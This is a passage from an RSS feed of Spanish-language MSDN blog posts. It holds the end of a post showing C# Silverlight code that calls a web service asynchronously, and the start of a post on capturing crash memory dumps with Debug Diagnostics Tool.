<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>public</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> <SPAN style="COLOR: blue">partial</SPAN> <SPAN style="COLOR: blue">class</SPAN> <SPAN style="COLOR: #2b91af">SilverlightPage</SPAN> : <SPAN style="COLOR: #2b91af">UserControl</SPAN><o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-bidi-font-size: 9.5pt">public</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"> SilverlightPage()<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>InitializeComponent();<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Creamos el objeto proxy para interactuar con el web service</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>BusinessLogicWS.<SPAN style="COLOR: #2b91af">SilverlightInterfaceSoapClient</SPAN> wsProxy = <o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">new</SPAN> BusinessLogicWS.<SPAN style="COLOR: #2b91af">SilverlightInterfaceSoapClient</SPAN>();<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>wsProxy.getCustomerDataCompleted <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>+= <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: #2b91af">EventHandler</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>&lt;BusinessLogicWS.<SPAN style="COLOR: #2b91af">getCustomerDataCompletedEventArgs</SPAN>&gt;<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">(getCustomerDataCompletedHandler);<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">int</SPAN> CustomerID = 1234;<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Realizamos la llamada asíncrona al web service<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>wsProxy.getCustomerDataAsync(CustomerID);<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">void</SPAN> getCustomerDataCompletedHandler(<SPAN style="COLOR: blue">object</SPAN> sender, <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">BusinessLogicWS.<SPAN style="COLOR: #2b91af">getCustomerDataCompletedEventArgs</SPAN> e)<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Obtenemos los datos de la respuesta del web service</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: #2b91af; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>ObservableCollection</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>&lt;SilverlightTest.BusinessLogicWS.<SPAN style="COLOR: #2b91af">ArrayOfAnyType</SPAN>&gt; <o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>data = e.Result;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: green; mso-bidi-font-size: 9.5pt">//Hacemos algo con esos datos</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">for</SPAN> (<SPAN style="COLOR: blue">int</SPAN> i=0; i&lt;data.Count; i++)<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>{<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">for</SPAN> (<SPAN style="COLOR: blue">int</SPAN> j = 0; j &lt; data[i].Count; j++ )<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">{<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: #2b91af">Debug</SPAN>.WriteLine(data[i][j].ToString());<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>De esta forma, hemos construido una interfaz entre la aplicación Silverlight y nuestra biblioteca de clases .NET, pudiendo reutilizar el código de las bibliotecas de clases .NET y solventando los problemas de incompatibilidades entre tipos de datos.<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Hasta el próximo post, <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>- Daniel Mossberg<o:p></o:p></FONT></SPAN></P>]]></content:encoded>
    </item>
    <item>
      <title>Cómo capturar volcados de crash con Debug Diagnostics Tool</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/cmo-capturar-volcados-de-crash-con-debug-diagnostics-tool</link>
      <pubDate>Wed, 24 Mar 2010 04:29:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/03/24/cmo-capturar-volcados-de-crash-con-debug-diagnostics-tool/</guid>
      <description><![CDATA[Este post es la continuación de Cuándo y cómo capturar volcados de memoria en modo Crash
&nbsp;
La...]]></description>
      <content:encoded><![CDATA[<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><FONT size=3><FONT face=Calibri>Este post es la continuación de <I style="mso-bidi-font-style: normal"><A href="https://blogs.msdn.com/daniem/archive/2010/02/21/cuando-y-como-capturar-volcados-de-memoria-en-modo-crash.aspx">Cuándo y cómo capturar volcados de memoria en modo Crash</A></I><SPAN style="COLOR: black; FONT-SIZE: 12pt"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><FONT face=Calibri><SPAN style="COLOR: black; FONT-SIZE: 12pt">La he</SPAN><SPAN style="FONT-SIZE: 12pt">rramienta Debug Diagnostics Tool se puede </SPAN></FONT><A href="https://www.iis.net/downloads/download-item.ashx?i=1286"><SPAN style="FONT-SIZE: 12pt"><FONT color=#0000ff face=Calibri>descargar desde aquí</FONT></SPAN></A><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>, <SPAN style="COLOR: black">tanto la versión de 32-bit como la de 64-bit. En el momento de escribir este post, la herramienta está en la versión 1.1 y está soportada para los siguientes sistemas operativos:<o:p></o:p></SPAN></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l0 level1 lfo1" class=MsoListParagraph><SPAN style="FONT-FAMILY: Symbol; COLOR: black; mso-ansi-language: EN-US; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol" lang=EN-US><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-ansi-language: EN-US; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin" lang=EN-US><FONT size=3>Windows 2000 Server<o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l0 level1 lfo1" class=MsoListParagraph><SPAN style="FONT-FAMILY: Symbol; COLOR: black; mso-ansi-language: EN-US; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol" lang=EN-US><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-ansi-language: EN-US; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin" lang=EN-US><FONT size=3>Windows Server 2003<o:p></o:p></FONT></SPAN></P>
<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l0 level1 lfo1" class=MsoListParagraph><SPAN style="FONT-FAMILY: Symbol; COLOR: black; mso-ansi-language: EN-US; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol" lang=EN-US><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-ansi-language: EN-US; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin" lang=EN-US><FONT size=3>Windows XP<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri" lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><FONT face=Calibri>Es decir, si pretendemos analizar un problema en Windows Server 2008, Windows Server 2008 R2, Windows Vista o Windows 7 es recomendable utilizar otras herramientas, aunque algunas funcionalidades de Debug Diagnostics pueden funcionar en estos sistemas operativos.<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><FONT face=Calibri><B><I><SPAN style="COLOR: black; FONT-SIZE: 12pt">Nota</SPAN></I></B><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><FONT face=Calibri>En el caso de los sistemas operativos de 64-bit, es conveniente instalar la versión de <I>DebugDiag</I> en función del proceso que se va a monitorizar. Es decir, si el proceso es de 32-bit, es mejor utilizar la versión de 32-bit de <I>DebugDiag</I> al margen de que Windows sea de 64-bit (de esta forma nos quitamos del medio la capa WOW64 que a veces dificulta la depuración). <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><FONT face=Calibri><I><SPAN style="COLOR: black; FONT-SIZE: 12pt">DebugDiag </SPAN></I><SPAN style="COLOR: black; FONT-SIZE: 12pt">nos permite capturar volcados de crash mediante las reglas de crash. <SPAN style="mso-bidi-font-weight: bold">Las reglas de <I style="mso-bidi-font-style: normal">crash</I> de </SPAN><I>DebugDiag </I><SPAN style="mso-bidi-font-weight: bold">permiten adjuntar un depurador a cualquier proceso y configurarlo para que genere volcados en el momento que se produzca una determinada excepción o cuando se finalice el proceso. Estos son los escenarios más comunes:<o:p></o:p></SPAN></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-weight: bold"><A href="https://blogs.msdn.com/daniem/archive/2010/03/24/como-capturar-volcados-de-crash-con-debug-diagnostics-tool.aspx#standard_crash" mce_href="https://blogs.msdn.com/daniem/archive/2010/03/24/como-capturar-volcados-de-crash-con-debug-diagnostics-tool.aspx#standard_crash"><FONT color=#0000ff face=Calibri>Volcados de crash de finalización de un proceso</FONT></A><o:p></o:p></SPAN></P>
